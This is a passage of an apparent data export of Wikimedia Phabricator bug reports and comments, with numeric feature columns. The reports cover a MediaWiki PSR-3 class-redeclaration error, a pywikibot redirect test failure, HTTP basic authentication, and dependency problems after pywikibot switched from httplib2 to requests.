+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  17. Composer\\Autoload\\includeFile() /srv/www/mywiki.mydomain.com/vendor/composer/ClassLoader.php:301, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  18. MWExceptionHandler::handleFatalError() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  19. MWExceptionHandler::logError() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:265, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  20. wfDebugLog() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:507, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  21. MediaWiki\\Logger\\LoggerFactory::getInstance() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:1155, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  22. trigger_error() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:107, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  23. MWExceptionHandler::handleError() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:107, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  24. MWExceptionHandler::logError() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:222, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  25. wfDebugLog() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:507, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  26. MediaWiki\\Logger\\LoggerFactory::getInstance() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:1155, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  27. trigger_error() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:107, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
+> 
+
+",Low,25.0,1433839792,1501144730.0,PHID-USER-myidf5vlkwvrgp2iwn76,False,PHID-USER-jnta3z3spxto3vbxdngm,False,PHID-TASK-horp6gl436aa5in2kxna,task_description,invalid,True,c3,1,False,False,False,-4,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+901975,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,Declining... Nobody cared to reply and MW1.25 is no longer supported,,,1501144730,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,3,True,,,108,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0
+699501,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,">>! In T101814#1407843, @Krinkle wrote:
+> Perhaps you have an older extension installed that also ships a PSR-3 interface?
+
+@emirhan: Can you answer this? Is this still an issue?",,,1469286388,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,3,True,,,55,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,1,0,1
+677081,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,">>! In T101814#1407843, @Krinkle wrote:
+> Perhaps you have an older extension installed that also ships a PSR-3 interface?
+
+@emirhan: Can you answer this? Is this still an issue?",,,1465493328,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,3,True,,,49,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,1,0,1
+483075,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,"The error you reported does not mean PSR-3 is not installed. In fact, it means the opposite. The error shows that the `vendor/` directory exists and contains the PSR-3 class.
+
+However when it loads it, it claims it is a redeclaration. In other words, it has been defined by something else. And then when MediaWiki tries to load its own, it ends up loading a second time. Loading the same class twice is not possible and as such the engine aborts with a fatal error.
+
+Perhaps you have an older extension installed that also ships a PSR-3 interface?",,,1435452621,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,2,True,,,-1,True,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+480752,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,"Update. 
+
+I think I narrowed it down to the images directory. When I move the images directory (which holds images as well as PDFs, PPTs) from the installation directory, the issue seems to be solved. When I move the directory back, the error starts again. 
+
+I also tried the maintenance/importImages.php script for importing the images from the old installation directory (instead of simply copying). No luck. ",,,1435156880,,PHID-USER-myidf5vlkwvrgp2iwn76,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+471322,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,(Sorry lcawte; mid-air collision when editing),,,1433843912,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0
+101601,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,"I got the following error:
+
+```
+======================================================================
+ERROR: test_follow_redirects (tests.http_tests.TestHttpStatus)
+Test follow 301 redirects after an exception works correctly.
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File ""/home/xzise/Programms/pywikibot/core/tests/http_tests.py"", line 185, in test_follow_redirects
+    http.session.redirect_cache.get('http://en.wikipedia.org/wiki/Main%20Page'))
+  File ""/home/xzise/.pyenv/versions/3.4.3/lib/python3.4/unittest/case.py"", line 1053, in assertIn
+    if member not in container:
+TypeError: argument of type 'NoneType' is not iterable
+```",Low,25.0,1433591220,1434143929.0,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-USER-7fndkemmavweiht5ybfd,False,PHID-TASK-ugvhw7d2467ivxa6axam,task_description,resolved,True,c3,1,True,True,True,-4,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1
+473703,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,"Change 217846 merged by jenkins-bot:
+Fix requests redirect test
+
+[[https://gerrit.wikimedia.org/r/217846]]",,,1434124287,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ugvhw7d2467ivxa6axam,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+473649,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,"Change 217846 had a related patch set uploaded (by John Vandenberg):
+Fix requests redirect test
+
+[[https://gerrit.wikimedia.org/r/217846]]
+",,,1434117194,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ugvhw7d2467ivxa6axam,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+470254,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,I've 2.6.0 so 'redirect_cache' exists there apparently just returns None.,,,1433591679,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-ugvhw7d2467ivxa6axam,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0
+470253,Test failure in tests.http_tests.TestHttpStatus.test_follow_redirects,"You beat me to it.  I get a slightly different output.
+```
+======================================================================
+ERROR: test_follow_redirects (tests.http_tests.TestHttpStatus)
+Test follow 301 redirects after an exception works correctly.
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File ""tests/http_tests.py"", line 185, in test_follow_redirects
+    http.session.redirect_cache.get('http://en.wikipedia.org/wiki/Main%20Page'))
+AttributeError: 'Session' object has no attribute 'redirect_cache'
+```
+
+redirect_cache could be a 2.7.0 thing not available in earlier versions.
+```
+>>> requests.__version__
+'2.2.1'
+```",,,1433591562,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ugvhw7d2467ivxa6axam,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1
+101494,requests http basic authentication,"user_config.authenticate was a #pywikibot-compat feature, recently re-implemented in core T89417.  With the switch to requests, this has been unimplemented again.
+
+The fallback is to use netrc to specify the basic auth credentials instead of user_config.
+http://docs.python-requests.org/en/latest/user/authentication/#netrc-authentication
+I am not sure if/how that works on Windows.",Low,25.0,1433493108,1435070221.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-TASK-zn4flazu6obt3l6diafg,task_description,resolved,True,c3,1,True,False,True,-4,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+479891,requests http basic authentication,"Change 220131 merged by jenkins-bot:
+Reimplement Http basic authentication
+
+[[https://gerrit.wikimedia.org/r/220131]]",,,1435064894,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zn4flazu6obt3l6diafg,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+479878,requests http basic authentication,"Change 220131 had a related patch set uploaded (by VcamX):
+Reimplement Http basic authentication
+
+[[https://gerrit.wikimedia.org/r/220131]]
+",,,1435063812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zn4flazu6obt3l6diafg,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+101228,[BREAKING]  Change: Switch from httplib2 to requests,"After T98671, the following occurs:
+
+```
+C:\pwb\core>pwb.py redirect double -moves -total:10 -always -lang:pa
+ImportError: No module named requests
+Python module requests is required.
+Try running 'pip install requests'.
+```
+
+Not a good idea to break the bot without any hint!",Low,25.0,1433317404,1495980587.0,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_description,invalid,True,c3,1,True,True,False,-5,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+866237,[BREAKING]  Change: Switch from httplib2 to requests,release 3.0 is published and requests is mandatory now.,,,1495980587,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,3,True,,,99,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+583907,[BREAKING]  Change: Switch from httplib2 to requests,"Change 215603 abandoned by Xqt:
+[FEAT] Basic httplib2 support
+
+Reason:
+requests looks good with some fixes
+
+[[https://gerrit.wikimedia.org/r/215603]]",,,1450972311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,3,False,,,25,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+471337,[BREAKING]  Change: Switch from httplib2 to requests,Then you will want https://www.python.org/ftp/python/2.7.10/python-2.7.10.amd64.msi,,,1433845934,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0
+471336,[BREAKING]  Change: Switch from httplib2 to requests,I use 64 bit OS,,,1433845823,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+471197,[BREAKING]  Change: Switch from httplib2 to requests,Is it possible for you to upgrade to Python 2.7.10 ? https://www.python.org/ftp/python/2.7.10/python-2.7.10.msi,,,1433811734,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+471193,[BREAKING]  Change: Switch from httplib2 to requests,"I use Python 2.7.6
+
+C:\Kolega2357core>pip --version
+'pip' is not recognized as an internal or external command,
+operable program or batch file.
+
+C:\Kolega2357core>pip install httplib2
+'pip' is not recognized as an internal or external command,
+operable program or batch file.",,,1433811351,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1
+471164,[BREAKING]  Change: Switch from httplib2 to requests,"Which version of Python are you using? (could you run python --version)
+Does it have pip installed? (try pip --version)
+If you are using Python 2.6.8 or lower, I'd suggest upgrading to Python 2.7.10 , which includes pip.
+
+Once you have pip, you can run
+```
+pip install httplib2
+```",,,1433805157,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0
+471159,[BREAKING]  Change: Switch from httplib2 to requests,http://tools.wmflabs.org/pywikibot/,,,1433804325,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+471150,[BREAKING]  Change: Switch from httplib2 to requests,Okay where did you get it?,,,1433803388,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+471148,[BREAKING]  Change: Switch from httplib2 to requests,"C:\Kolega2357core>python pwb.py login
+ImportError: No module named httplib2
+Python module httplib2 >= 0.6.0 is required.
+Did you clone without --recursive?
+Try running 'git submodule update --init' or 'pip install httplib2'.",,,1433803222,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+471131,[BREAKING]  Change: Switch from httplib2 to requests,Okay either use a recent version which uses requests or use the 2.0 branch and retest it. If the error still occurs could you paste the output of 'python pwb.py version'? And where did you get the version from? Also you can copy the contents into text and not an image (which would allow others to search for it) by right-clicking and then selecting “Select” and drawing an rectangle to what you want to copy and after that pressing enter to actually copy it.,,,1433801584,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+471126,[BREAKING]  Change: Switch from httplib2 to requests,No. I dont use 2.0 branch.,,,1433800823,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+471120,[BREAKING]  Change: Switch from httplib2 to requests,Did you try cloning recursively or updating the submodules? Are you using the 2.0 branch?,,,1433800284,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0
+471119,[BREAKING]  Change: Switch from httplib2 to requests,I have a problem  with httplib2 for pywikipedia. See picture http://prntscr.com/7ehyy2,,,1433800186,,PHID-USER-gb5drwadxqdwkqi47p4o,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+469750,[BREAKING]  Change: Switch from httplib2 to requests,"We are building a stable branch '2.0' which bot operators can use for production bots which maintains backwards compatibility and does not introduce new mandatory dependencies.
+https://github.com/wikimedia/pywikibot-core/tree/2.0",,,1433508810,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0
+469595,[BREAKING]  Change: Switch from httplib2 to requests,"git subtrees also allow symlinks into the sub repo , which would mean the nasty voodoo in externals/httplib/__init__.py wouldnt be necessary.  see https://gerrit.wikimedia.org/r/#/c/203794/1/tests/README.rst,cm for example",,,1433469430,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+469591,[BREAKING]  Change: Switch from httplib2 to requests,"The svn / submodules problem is that it relies on the user to update the submodules, including importing the submodules stored in .svnprops.
+This should be fixable by using [[https://github.com/git/git/blob/master/contrib/subtree/git-subtree.txt | git subtree ]] instead of git submodule .
+However we would need to test what SVN does if the user has set up svn externals , then we change it from a submodule to a subtree.  Does svn automatically adjust?",,,1433469088,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+469146,[BREAKING]  Change: Switch from httplib2 to requests,Well if git submodules are working correctly then there should be no issue with adding requests as a submodule. Nightly is also using git itself so these three routes are covered. Now I know you had problems with svn when we wanted to separate compat's and core's i18n. But if git submodules are unusable via svn then using submodules at all (including httplib2) doesn't seem like a good idea because any changes to httplib2 won't be visible to svn users.,,,1433438387,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-jfkz6wgmrp52mqyjl3th,task_subcomment,,True,c3,1,True,,,-4,True,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
